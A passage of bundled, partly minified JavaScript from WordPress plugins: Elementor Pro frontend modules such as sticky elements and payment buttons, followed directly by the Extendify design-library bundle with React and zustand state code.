this.$element.removeClass(settings.classes.element); this.elements.$parent.removeClass(settings.classes.parent); if ('background' === settings.type) { this.$element.removeClass(settings.classes.backgroundType); this.removeBackgroundLayer(); } } onInit() { super.onInit(); const settings = this.getSettings(); this.$element = settings.$element; this.elements.$parent = this.$element.parent(); this.$element.addClass(settings.classes.element); this.elements.$parent = this.$element.parent(); this.elements.$parent.addClass(settings.classes.parent); if ('background' === settings.type) { this.$element.addClass(settings.classes.backgroundType); this.addBackgroundLayer(); } this.defineDimensions(); settings.$targetElement = 'element' === settings.type ? this.$element : this.elements.$motionFXLayer; this.interactions = {}; this.actions = new _actions.default(settings); this.initInteractionsTypes(); this.runInteractions(); } } exports["default"] = _default; /***/ }), /***/ "../modules/payments/assets/js/frontend/frontend.js": /*!**********************************************************!*\ !*** ../modules/payments/assets/js/frontend/frontend.js ***! \**********************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class _default extends elementorModules.Module { constructor() { super(); elementorFrontend.elementsHandler.attachHandler('paypal-button', () => __webpack_require__.e(/*! import() | paypal-button */ "paypal-button").then(__webpack_require__.bind(__webpack_require__, /*! ./handlers/paypal-button */ "../modules/payments/assets/js/frontend/handlers/paypal-button.js"))); elementorFrontend.elementsHandler.attachHandler('stripe-button', () => Promise.all(/*! import() | stripe-button */[__webpack_require__.e("vendors-node_modules_dompurify_dist_purify_js"), __webpack_require__.e("stripe-button")]).then(__webpack_require__.bind(__webpack_require__, /*! ./handlers/stripe-button */ "../modules/payments/assets/js/frontend/handlers/stripe-button.js"))); } } exports["default"] = _default; /***/ }), /***/ "../modules/progress-tracker/assets/js/frontend/frontend.js": /*!******************************************************************!*\ !*** ../modules/progress-tracker/assets/js/frontend/frontend.js ***! \******************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class _default extends elementorModules.Module { constructor() { super(); elementorFrontend.elementsHandler.attachHandler('progress-tracker', () => __webpack_require__.e(/*! import() | progress-tracker */ "progress-tracker").then(__webpack_require__.bind(__webpack_require__, /*! ./handlers/progress-tracker */ "../modules/progress-tracker/assets/js/frontend/handlers/progress-tracker.js"))); } } exports["default"] = _default; /***/ }), /***/ "../modules/sticky/assets/js/frontend/frontend.js": /*!********************************************************!*\ !*** ../modules/sticky/assets/js/frontend/frontend.js ***! \********************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _sticky = _interopRequireDefault(__webpack_require__(/*! ./handlers/sticky */ "../modules/sticky/assets/js/frontend/handlers/sticky.js")); class _default extends elementorModules.Module { constructor() { super(); elementorFrontend.elementsHandler.attachHandler('section', _sticky.default, null); elementorFrontend.elementsHandler.attachHandler('container', _sticky.default, null); elementorFrontend.elementsHandler.attachHandler('widget', _sticky.default, null); } } exports["default"] = _default; /***/ }), /***/ "../modules/sticky/assets/js/frontend/handlers/sticky.js": /*!***************************************************************!*\ !*** ../modules/sticky/assets/js/frontend/handlers/sticky.js ***! \***************************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _default = exports["default"] = elementorModules.frontend.handlers.Base.extend({ currentConfig: {}, debouncedReactivate: null, bindEvents() { elementorFrontend.addListenerOnce(this.getUniqueHandlerID() + 'sticky', 'resize', this.reactivateOnResize); }, unbindEvents() { elementorFrontend.removeListeners(this.getUniqueHandlerID() + 'sticky', 'resize', this.reactivateOnResize); }, isStickyInstanceActive() { return undefined !== this.$element.data('sticky'); }, /** * Get the current active setting value for a responsive control. * * @param {string} setting * @return {any} - Setting value. */ getResponsiveSetting(setting) { const elementSettings = this.getElementSettings(); return elementorFrontend.getCurrentDeviceSetting(elementSettings, setting); }, /** * Return an array of settings names for responsive control (e.g. `settings`, `setting_tablet`, `setting_mobile` ). * * @param {string} setting * @return {string[]} - List of settings. */ getResponsiveSettingList(setting) { const breakpoints = Object.keys(elementorFrontend.config.responsive.activeBreakpoints); return ['', ...breakpoints].map(suffix => { return suffix ? `${setting}_${suffix}` : setting; }); }, getConfig() { const elementSettings = this.getElementSettings(), stickyOptions = { to: elementSettings.sticky, offset: this.getResponsiveSetting('sticky_offset'), effectsOffset: this.getResponsiveSetting('sticky_effects_offset'), classes: { sticky: 'elementor-sticky', stickyActive: 'elementor-sticky--active elementor-section--handles-inside', stickyEffects: 'elementor-sticky--effects', spacer: 'elementor-sticky__spacer' }, isRTL: elementorFrontend.config.is_rtl, // In edit mode, since the preview is an iframe, the scrollbar is on the left. The scrollbar width is // compensated for in this case. handleScrollbarWidth: elementorFrontend.isEditMode() }, $wpAdminBar = elementorFrontend.elements.$wpAdminBar, isParentContainer = this.isContainerElement(this.$element[0]) && !this.isContainerElement(this.$element[0].parentElement); if ($wpAdminBar.length && 'top' === elementSettings.sticky && 'fixed' === $wpAdminBar.css('position')) { stickyOptions.offset += $wpAdminBar.height(); } // The `stickyOptions.parent` value should only be applied to inner elements, and not to top level containers. if (elementSettings.sticky_parent && !isParentContainer) { // TODO: The e-container classes should be removed in the next update. stickyOptions.parent = '.e-container, .e-container__inner, .e-con, .e-con-inner, .elementor-widget-wrap'; } return stickyOptions; }, activate() { this.currentConfig = this.getConfig(); this.$element.sticky(this.currentConfig); }, deactivate() { if (!this.isStickyInstanceActive()) { return; } this.$element.sticky('destroy'); }, run(refresh) { if (!this.getElementSettings('sticky')) { this.deactivate(); return; } var currentDeviceMode = elementorFrontend.getCurrentDeviceMode(), activeDevices = this.getElementSettings('sticky_on'); if (-1 !== activeDevices.indexOf(currentDeviceMode)) { if (true === refresh) { this.reactivate(); } else if (!this.isStickyInstanceActive()) { this.activate(); } } else { this.deactivate(); } }, /** * Reactivate the sticky instance on resize only if the new sticky config is different from the current active one, * in order to avoid re-initializing the sticky when not needed, and avoid layout shifts. * The config can be different between devices, so this need to be checked on each screen resize to make sure that * the current screen size uses the appropriate Sticky config. * * @return {void} */ reactivateOnResize() { clearTimeout(this.debouncedReactivate); this.debouncedReactivate = setTimeout(() => { const config = this.getConfig(), isDifferentConfig = JSON.stringify(config) !== JSON.stringify(this.currentConfig); if (isDifferentConfig) { this.run(true); } }, 300); }, reactivate() { this.deactivate(); this.activate(); }, onElementChange(settingKey) { if (-1 !== ['sticky', 'sticky_on'].indexOf(settingKey)) { this.run(true); } // Settings that trigger a re-activation when changed. const settings = [...this.getResponsiveSettingList('sticky_offset'), ...this.getResponsiveSettingList('sticky_effects_offset'), 'sticky_parent']; if (-1 !== settings.indexOf(settingKey)) { this.reactivate(); } }, /** * Listen to device mode changes and re-initialize the sticky. * * @return {void} */ onDeviceModeChange() { // Wait for the call stack to be empty. // The `run` function requests the current device mode from the CSS so it's not ready immediately. // (need to wait for the `deviceMode` event to change the CSS). // See `elementorFrontend.getCurrentDeviceMode()` for reference. setTimeout(() => this.run(true)); }, onInit() { elementorModules.frontend.handlers.Base.prototype.onInit.apply(this, arguments); if (elementorFrontend.isEditMode()) { elementor.listenTo(elementor.channels.deviceMode, 'change', () => this.onDeviceModeChange()); } this.run(); }, onDestroy() { elementorModules.frontend.handlers.Base.prototype.onDestroy.apply(this, arguments); this.deactivate(); }, /** * * @param {HTMLElement|null|undefined} element * @return {boolean} Is the passed element a container. */ isContainerElement(element) { const containerClasses = [ // TODO: The e-container classes should be removed in the next update. 'e-container', 'e-container__inner', 'e-con', 'e-con-inner']; return containerClasses.some(containerClass => { return element?.classList.contains(containerClass); }); } }); /***/ }), /***/ "../modules/video-playlist/assets/js/frontend/frontend.js": /*!****************************************************************!*\ !*** ../modules/video-playlist/assets/js/frontend/frontend.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class _default extends elementorModules.Module { constructor() { super(); elementorFrontend.hooks.addAction('frontend/element_ready/video-playlist.default', $element => { __webpack_require__.e(/*! import() | video-playlist */ "video-playlist").then(__webpack_require__.bind(__webpack_require__, /*! ./handler */ "../modules/video-playlist/assets/js/frontend/handler.js")).then(_ref => { let { default: dynamicHandler } = _ref; elementorFrontend.elementsHandler.addHandler(dynamicHandler, { $element, toggleSelf: false }); }); }); } } exports["default"] = _default; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/defineProperty.js": /*!****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/defineProperty.js ***! \****************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var toPropertyKey = __webpack_require__(/*! ./toPropertyKey.js */ "../node_modules/@babel/runtime/helpers/toPropertyKey.js"); function _defineProperty(obj, key, value) { key = toPropertyKey(key); if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } module.exports = _defineProperty, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js": /*!***********************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/interopRequireDefault.js ***! \***********************************************************************/ /***/ ((module) => { function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; } module.exports = _interopRequireDefault, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/toPrimitive.js": /*!*************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/toPrimitive.js ***! \*************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var _typeof = (__webpack_require__(/*! ./typeof.js */ "../node_modules/@babel/runtime/helpers/typeof.js")["default"]); function toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); } module.exports = toPrimitive, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/toPropertyKey.js": /*!***************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/toPropertyKey.js ***! \***************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var _typeof = (__webpack_require__(/*! ./typeof.js */ "../node_modules/@babel/runtime/helpers/typeof.js")["default"]); var toPrimitive = __webpack_require__(/*! ./toPrimitive.js */ "../node_modules/@babel/runtime/helpers/toPrimitive.js"); function toPropertyKey(t) { var i = toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; } module.exports = toPropertyKey, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/typeof.js": /*!********************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/typeof.js ***! \********************************************************/ /***/ ((module) => { function _typeof(o) { "@babel/helpers - typeof"; return (module.exports = _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, module.exports.__esModule = true, module.exports["default"] = module.exports), _typeof(o); } module.exports = _typeof, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }) }, /******/ __webpack_require__ => { // webpackRuntimeModules /******/ var __webpack_exec__ = (moduleId) => (__webpack_require__(__webpack_require__.s = moduleId)) /******/ var __webpack_exports__ = (__webpack_exec__("../assets/dev/js/frontend/frontend.js")); /******/ } ]); //# sourceMappingURL=frontend.js.map(()=>{var e,t,n={251:(e,t,n)=>{"use strict";var r=n(196),i=Symbol.for("react.element"),o=(Symbol.for("react.fragment"),Object.prototype.hasOwnProperty),s=r.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,a={key:!0,ref:!0,__self:!0,__source:!0};function l(e,t,n){var r,l={},u=null,c=null;for(r in void 0!==n&&(u=""+n),void 0!==t.key&&(u=""+t.key),void 0!==t.ref&&(c=t.ref),t)o.call(t,r)&&!a.hasOwnProperty(r)&&(l[r]=t[r]);if(e&&e.defaultProps)for(r in t=e.defaultProps)void 0===l[r]&&(l[r]=t[r]);return{$$typeof:i,type:e,key:u,ref:c,props:l,_owner:s.current}}t.jsx=l,t.jsxs=l},893:(e,t,n)=>{"use strict";e.exports=n(251)},250:(e,t,n)=>{"use strict";var r=n(196),i="function"==typeof Object.is?Object.is:function(e,t){return e===t&&(0!==e||1/e==1/t)||e!=e&&t!=t},o=r.useState,s=r.useEffect,a=r.useLayoutEffect,l=r.useDebugValue;function u(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!i(e,n)}catch(e){return!0}}var c="undefined"==typeof window||void 0===window.document||void 0===window.document.createElement?function(e,t){return t()}:function(e,t){var n=t(),r=o({inst:{value:n,getSnapshot:t}}),i=r[0].inst,c=r[1];return a((function(){i.value=n,i.getSnapshot=t,u(i)&&c({inst:i})}),[e,n,t]),s((function(){return u(i)&&c({inst:i}),e((function(){u(i)&&c({inst:i})}))}),[e]),l(n),n};t.useSyncExternalStore=void 0!==r.useSyncExternalStore?r.useSyncExternalStore:c},139:(e,t,n)=>{"use strict";var r=n(196),i=n(688),o="function"==typeof Object.is?Object.is:function(e,t){return e===t&&(0!==e||1/e==1/t)||e!=e&&t!=t},s=i.useSyncExternalStore,a=r.useRef,l=r.useEffect,u=r.useMemo,c=r.useDebugValue;t.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var d=a(null);if(null===d.current){var h={hasValue:!1,value:null};d.current=h}else h=d.current;d=u((function(){function e(e){if(!l){if(l=!0,s=e,e=r(e),void 0!==i&&h.hasValue){var t=h.value;if(i(t,e))return a=t}return a=e}if(t=a,o(s,e))return t;var n=r(e);return void 0!==i&&i(t,n)?t:(s=e,a=n)}var s,a,l=!1,u=void 0===n?null:n;return[function(){return e(t())},null===u?void 0:function(){return e(u())}]}),[t,n,r,i]);var p=s(e,d[0],d[1]);return l((function(){h.hasValue=!0,h.value=p}),[p]),c(p),p}},688:(e,t,n)=>{"use strict";e.exports=n(250)},798:(e,t,n)=>{"use strict";e.exports=n(139)},196:e=>{"use strict";e.exports=window.React},967:(e,t)=>{var n;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e="",t=0;t{var t=e&&e.__esModule?()=>e.default:()=>e;return i.d(t,{a:t}),t},t=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,i.t=function(n,r){if(1&r&&(n=this(n)),8&r)return n;if("object"==typeof n&&n){if(4&r&&n.__esModule)return n;if(16&r&&"function"==typeof n.then)return n}var o=Object.create(null);i.r(o);var s={};e=e||[null,t({}),t([]),t(t)];for(var a=2&r&&n;"object"==typeof a&&!~e.indexOf(a);a=t(a))Object.getOwnPropertyNames(a).forEach((e=>s[e]=()=>n[e]));return s.default=()=>n,i.d(o,s),o},i.d=(e,t)=>{for(var n in t)i.o(t,n)&&!i.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},i.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),i.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{"use strict";var e=i(196),t=i.t(e,2),n=i.n(e);const r=window.wp.element,o=window.wp.plugins,s=window.wp.i18n,a=(0,r.forwardRef)((function({icon:e,size:t=24,...n},i){return(0,r.cloneElement)(e,{width:t,height:t,...n,ref:i})})),l=window.wp.apiFetch;var u=i.n(l);const c=e=>{try{return JSON.parse(e)}catch(e){return{}}},d=e=>{let t;const n=new Set,r=(e,r)=>{const i="function"==typeof e?e(t):e;if(!Object.is(i,t)){const e=t;t=(null!=r?r:"object"!=typeof i||null===i)?i:Object.assign({},t,i),n.forEach((n=>n(t,e)))}},i=()=>t,o={setState:r,getState:i,getInitialState:()=>s,subscribe:e=>(n.add(e),()=>n.delete(e)),destroy:()=>{console.warn("[DEPRECATED] The `destroy` method will be unsupported in a future version. Instead use unsubscribe function returned by subscribe. Everything will be garbage-collected if store is garbage-collected."),n.clear()}},s=t=e(r,i,o);return o};var h=i(798);const{useDebugValue:p}=e,{useSyncExternalStoreWithSelector:m}=h;let f=!1;const g=e=>e,v=e=>{"function"!=typeof e&&console.warn("[DEPRECATED] Passing a vanilla store will be unsupported in a future version. Instead use `import { useStore } from 'zustand'`.");const t="function"==typeof e?(e=>e?d(e):d)(e):e,n=(e,n)=>function(e,t=g,n){n&&!f&&(console.warn("[DEPRECATED] Use `createWithEqualityFn` instead of `create` or use `useStoreWithEqualityFn` instead of `useStore`. They can be imported from 'zustand/traditional'. https://github.com/pmndrs/zustand/discussions/1937"),f=!0);const r=m(e.subscribe,e.getState,e.getServerState||e.getInitialState,t,n);return p(r),r}(t,e,n);return Object.assign(n,t),n},y=e=>e?v(e):v,w=new Map,b=e=>{const t=w.get(e);return t?Object.fromEntries(Object.entries(t.stores).map((([e,t])=>[e,t.getState()]))):{}},x=(e,t={})=>(n,r,i)=>{const{enabled:o,anonymousActionType:s,store:a,...l}=t;let u;try{u=(null==o||o)&&window.__REDUX_DEVTOOLS_EXTENSION__}catch(e){}if(!u)return o&&console.warn("[zustand devtools middleware] Please install/enable Redux devtools extension"),e(n,r,i);const{connection:c,...d}=((e,t,n)=>{if(void 0===e)return{type:"untracked",connection:t.connect(n)};const r=w.get(n.name);if(r)return{type:"tracked",store:e,...r};const i={connection:t.connect(n),stores:{}};return w.set(n.name,i),{type:"tracked",store:e,...i}})(a,u,l);let h=!0;i.setState=(e,t,o)=>{const u=n(e,t);if(!h)return u;const d=void 0===o?{type:s||"anonymous"}:"string"==typeof o?{type:o}:o;return void 0===a?(null==c||c.send(d,r()),u):(null==c||c.send({...d,type:`${a}/${d.type}`},{...b(l.name),[a]:i.getState()}),u)};const p=(...e)=>{const t=h;h=!1,n(...e),h=t},m=e(i.setState,r,i);if("untracked"===d.type?null==c||c.init(m):(d.stores[d.store]=i,null==c||c.init(Object.fromEntries(Object.entries(d.stores).map((([e,t])=>[e,e===d.store?m:t.getState()]))))),i.dispatchFromDevtools&&"function"==typeof i.dispatch){let e=!1;const t=i.dispatch;i.dispatch=(...n)=>{"__setState"!==n[0].type||e||(console.warn('[zustand devtools middleware] "__setState" action type is reserved to set state from the devtools. Avoid using it.'),e=!0),t(...n)}}return c.subscribe((e=>{var t;switch(e.type){case"ACTION":return"string"!=typeof e.payload?void console.error("[zustand devtools middleware] Unsupported action format"):E(e.payload,(e=>{if("__setState"!==e.type)i.dispatchFromDevtools&&"function"==typeof i.dispatch&&i.dispatch(e);else{if(void 0===a)return void p(e.state);1!==Object.keys(e.state).length&&console.error('\n [zustand devtools middleware] Unsupported __setState action format. \n When using \'store\' option in devtools(), the \'state\' should have only one key, which is a value of \'store\' that was passed in devtools(),\n and value of this only key should be a state object. Example: { "type": "__setState", "state": { "abc123Store": { "foo": "bar" } } }\n ');const t=e.state[a];if(null==t)return;JSON.stringify(i.getState())!==JSON.stringify(t)&&p(t)}}));case"DISPATCH":switch(e.payload.type){case"RESET":return p(m),void 0===a?null==c?void 0:c.init(i.getState()):null==c?void 0:c.init(b(l.name));case"COMMIT":return void 0===a?void(null==c||c.init(i.getState())):null==c?void 0:c.init(b(l.name));case"ROLLBACK":return E(e.state,(e=>{if(void 0===a)return p(e),void(null==c||c.init(i.getState()));p(e[a]),null==c||c.init(b(l.name))}));case"JUMP_TO_STATE":case"JUMP_TO_ACTION":return E(e.state,(e=>{void 0!==a?JSON.stringify(i.getState())!==JSON.stringify(e[a])&&p(e[a]):p(e)}));case"IMPORT_STATE":{const{nextLiftedState:n}=e.payload,r=null==(t=n.computedStates.slice(-1)[0])?void 0:t.state;if(!r)return;return p(void 0===a?r:r[a]),void(null==c||c.send(null,n))}case"PAUSE_RECORDING":return h=!h}return}})),m},E=(e,t)=>{let n;try{n=JSON.parse(e)}catch(e){console.error("[zustand devtools middleware] Could not parse the received json",e)}void 0!==n&&t(n)};function S(e,t){let n;try{n=e()}catch(e){return}return{getItem:e=>{var r;const i=e=>null===e?null:JSON.parse(e,null==t?void 0:t.reviver),o=null!=(r=n.getItem(e))?r:null;return o instanceof Promise?o.then(i):i(o)},setItem:(e,r)=>n.setItem(e,JSON.stringify(r,null==t?void 0:t.replacer)),removeItem:e=>n.removeItem(e)}}const P=e=>t=>{try{const n=e(t);return n instanceof Promise?n:{then:e=>P(e)(n),catch(e){return this}}}catch(e){return{then(e){return this},catch:t=>P(t)(e)}}},T=(e,t)=>"getStorage"in t||"serialize"in t||"deserialize"in t?(console.warn("[DEPRECATED] `getStorage`, `serialize` and `deserialize` options are deprecated. Use `storage` option instead."),((e,t)=>(n,r,i)=>{let o={getStorage:()=>localStorage,serialize:JSON.stringify,deserialize:JSON.parse,partialize:e=>e,version:0,merge:(e,t)=>({...t,...e}),...t},s=!1;const a=new Set,l=new Set;let u;try{u=o.getStorage()}catch(e){}if(!u)return e(((...e)=>{console.warn(`[zustand persist middleware] Unable to update item '${o.name}', the given storage is currently unavailable.`),n(...e)}),r,i);const c=P(o.serialize),d=()=>{const e=o.partialize({...r()});let t;const n=c({state:e,version:o.version}).then((e=>u.setItem(o.name,e))).catch((e=>{t=e}));if(t)throw t;return n},h=i.setState;i.setState=(e,t)=>{h(e,t),d()};const p=e(((...e)=>{n(...e),d()}),r,i);let m;const f=()=>{var e;if(!u)return;s=!1,a.forEach((e=>e(r())));const t=(null==(e=o.onRehydrateStorage)?void 0:e.call(o,r()))||void 0;return P(u.getItem.bind(u))(o.name).then((e=>{if(e)return o.deserialize(e)})).then((e=>{if(e){if("number"!=typeof e.version||e.version===o.version)return e.state;if(o.migrate)return o.migrate(e.state,e.version);console.error("State loaded from storage couldn't be migrated since no migrate function was provided")}})).then((e=>{var t;return m=o.merge(e,null!=(t=r())?t:p),n(m,!0),d()})).then((()=>{null==t||t(m,void 0),s=!0,l.forEach((e=>e(m)))})).catch((e=>{null==t||t(void 0,e)}))};return i.persist={setOptions:e=>{o={...o,...e},e.getStorage&&(u=e.getStorage())},clearStorage:()=>{null==u||u.removeItem(o.name)},getOptions:()=>o,rehydrate:()=>f(),hasHydrated:()=>s,onHydrate:e=>(a.add(e),()=>{a.delete(e)}),onFinishHydration:e=>(l.add(e),()=>{l.delete(e)})},f(),m||p})(e,t)):((e,t)=>(n,r,i)=>{let o={storage:S((()=>localStorage)),partialize:e=>e,version:0,merge:(e,t)=>({...t,...e}),...t},s=!1;const a=new Set,l=new Set;let u=o.storage;if(!u)return e(((...e)=>{console.warn(`[zustand persist middleware] Unable to update item '${o.name}', the given storage is currently unavailable.`),n(...e)}),r,i);const c=()=>{const e=o.partialize({...r()});return u.setItem(o.name,{state:e,version:o.version})},d=i.setState;i.setState=(e,t)=>{d(e,t),c()};const h=e(((...e)=>{n(...e),c()}),r,i);let p;i.getInitialState=()=>h;const m=()=>{var e,t;if(!u)return;s=!1,a.forEach((e=>{var t;return e(null!=(t=r())?t:h)}));const i=(null==(t=o.onRehydrateStorage)?void 0:t.call(o,null!=(e=r())?e:h))||void 0;return P(u.getItem.bind(u))(o.name).then((e=>{if(e){if("number"!=typeof e.version||e.version===o.version)return[!1,e.state];if(o.migrate)return[!0,o.migrate(e.state,e.version)];console.error("State loaded from storage couldn't be migrated since no migrate function was provided")}return[!1,void 0]})).then((e=>{var t;const[i,s]=e;if(p=o.merge(s,null!=(t=r())?t:h),n(p,!0),i)return c()})).then((()=>{null==i||i(p,void 0),p=r(),s=!0,l.forEach((e=>e(p)))})).catch((e=>{null==i||i(void 0,e)}))};return i.persist={setOptions:e=>{o={...o,...e},e.storage&&(u=e.storage)},clearStorage:()=>{null==u||u.removeItem(o.name)},getOptions:()=>o,rehydrate:()=>m(),hasHydrated:()=>s,onHydrate:e=>(a.add(e),()=>{a.delete(e)}),onFinishHydration:e=>(l.add(e),()=>{l.delete(e)})},o.skipHydration||m(),p||h})(e,t),C="/extendify/v1/shared/activity",A={getItem:()=>u()({path:C}),setItem:(e,t)=>u()({path:C,method:"POST",data:{state:t}})},R=c(window.extSharedData.activity),k={actions:{}},D=y(T(x(((e,t)=>{var n;return{...k,...null!==(n=R?.state)&&void 0!==n?n:{},incrementActivity:n=>{e((e=>({...e,actions:{...e.actions,[n]:Number(t().actions[n]||0)+1}})))}}}),{name:"Extendify Activity"}),{name:"extendify_shared_activity",storage:S((()=>A)),skipHydration:!0})),O=(0,e.createElement)("svg",{fill:"none",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,e.createElement)("path",{clipRule:"evenodd",d:"m13.505 4h3.3044c.936 0 1.2747.10161 1.6171.29127.3424.19042.6102.46965.7934.82489.1831.356.2801.70824.2801 1.6814v3.43584c0 .9731-.0977 1.3254-.2801 1.6814-.1832.356-.4517.6344-.7934.8248-.153.0852-.3057.1552-.5112.2054v2.7344c0 1.503-.151 2.047-.4327 2.5968-.2828.5498-.6976.9799-1.2252 1.274-.5288.294-1.052.4498-2.4975.4498h-5.10341c-1.44549 0-1.96869-.1569-2.49747-.4498-.52878-.2941-.94242-.7254-1.22526-1.274-.28284-.5487-.43376-1.0938-.43376-2.5968v-5.3051c0-1.50301.15092-2.04701.43264-2.59682.28284-.54981.6976-.98106 1.22638-1.27514.52767-.29293 1.05198-.44985 2.49747-.44985h2.18511c.041-.44652.1265-.69015.2522-.93557.1832-.356.4517-.63523.7941-.82565.3417-.18966.6812-.29127 1.6171-.29127zm-1.6984 2.18698c0-.63769.4973-1.15464 1.1106-1.15464h4.4793c.6133 0 1.1106.51695 1.1106 1.15464v4.65692c0 .6377-.4973 1.1547-1.1106 1.1547h-4.4793c-.6133 0-1.1106-.517-1.1106-1.1547z",fill:"currentColor",fillRule:"evenodd"})),V=y(x((e=>({open:!1,setOpen:t=>e({open:t}),missingCSSVars:[],addMissingCSSVar:t=>e((e=>e.missingCSSVars.includes(t)?e:{missingCSSVars:[...e.missingCSSVars,t]}))})),{name:"Extendify Library Globals"})),L=()=>{const{setOpen:t}=V(),{incrementActivity:n}=D();return(0,e.createElement)("div",{role:"button",onClick:()=>{window.dispatchEvent(new CustomEvent("extendify-hc:minimize")),t(!0),n("library-button-click")},className:"components-button has-icon is-primary h-8 min-w-0 cursor-pointer px-1 xs:h-9 xs:pl-2 xs:pr-3 sm:ml-2"},(0,e.createElement)(a,{icon:O,size:24}),(0,e.createElement)("span",{className:"ml-1 hidden xs:inline"},(0,s.__)("Design Library","extendify-local")))},M=window.wp.data;var F=(e=>(e.Space=" ",e.Enter="Enter",e.Escape="Escape",e.Backspace="Backspace",e.Delete="Delete",e.ArrowLeft="ArrowLeft",e.ArrowUp="ArrowUp",e.ArrowRight="ArrowRight",e.ArrowDown="ArrowDown",e.Home="Home",e.End="End",e.PageUp="PageUp",e.PageDown="PageDown",e.Tab="Tab",e))(F||{}),j=Object.defineProperty,N=(e,t,n)=>(((e,t,n)=>{t in e?j(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n})(e,"symbol"!=typeof t?t+"":t,n),n);let I=new class{constructor(){N(this,"current",this.detect()),N(this,"handoffState","pending"),N(this,"currentId",0)}set(e){this.current!==e&&(this.handoffState="pending",this.currentId=0,this.current=e)}reset(){this.set(this.detect())}nextId(){return++this.currentId}get isServer(){return"server"===this.current}get isClient(){return"client"===this.current}detect(){return"undefined"==typeof window||"undefined"==typeof document?"server":"client"}handoff(){"pending"===this.handoffState&&(this.handoffState="complete")}get isHandoffComplete(){return"complete"===this.handoffState}},B=(t,n)=>{I.isServer?(0,e.useEffect)(t,n):(0,e.useLayoutEffect)(t,n)};function _(t){let n=(0,e.useRef)(t);return B((()=>{n.current=t}),[t]),n}function U(t,n,r,i){let o=_(r);(0,e.useEffect)((()=>{function e(e){o.current(e)}return(t=null!=t?t:window).addEventListener(n,e,i),()=>t.removeEventListener(n,e,i)}),[t,n,i])}class $ extends Map{constructor(e){super(),this.factory=e}get(e){let t=super.get(e);return void 0===t&&(t=this.factory(e),this.set(e,t)),t}}function W(e,t){let n=e(),r=new Set;return{getSnapshot:()=>n,subscribe:e=>(r.add(e),()=>r.delete(e)),dispatch(e,...i){let o=t[e].call(n,...i);o&&(n=o,r.forEach((e=>e())))}}}function H(t){return(0,e.useSyncExternalStore)(t.subscribe,t.getSnapshot,t.getSnapshot)}let z=new $((()=>W((()=>[]),{ADD(e){return this.includes(e)?this:[...this,e]},REMOVE(e){let t=this.indexOf(e);if(-1===t)return this;let n=this.slice();return n.splice(t,1),n}})));function q(t,n){let r=z.get(n),i=(0,e.useId)(),o=H(r);if(B((()=>{if(t)return r.dispatch("ADD",i),()=>r.dispatch("REMOVE",i)}),[r,t]),!t)return!1;let s=o.indexOf(i),a=o.length;return-1===s&&(s=a,a+=1),s===a-1}let Y=function(t){let n=_(t);return e.useCallback(((...e)=>n.current(...e)),[n])};function K(e){"function"==typeof queueMicrotask?queueMicrotask(e):Promise.resolve().then(e).catch((e=>setTimeout((()=>{throw e}))))}function G(){let e=[],t={addEventListener:(e,n,r,i)=>(e.addEventListener(n,r,i),t.add((()=>e.removeEventListener(n,r,i)))),requestAnimationFrame(...e){let n=requestAnimationFrame(...e);return t.add((()=>cancelAnimationFrame(n)))},nextFrame:(...e)=>t.requestAnimationFrame((()=>t.requestAnimationFrame(...e))),setTimeout(...e){let n=setTimeout(...e);return 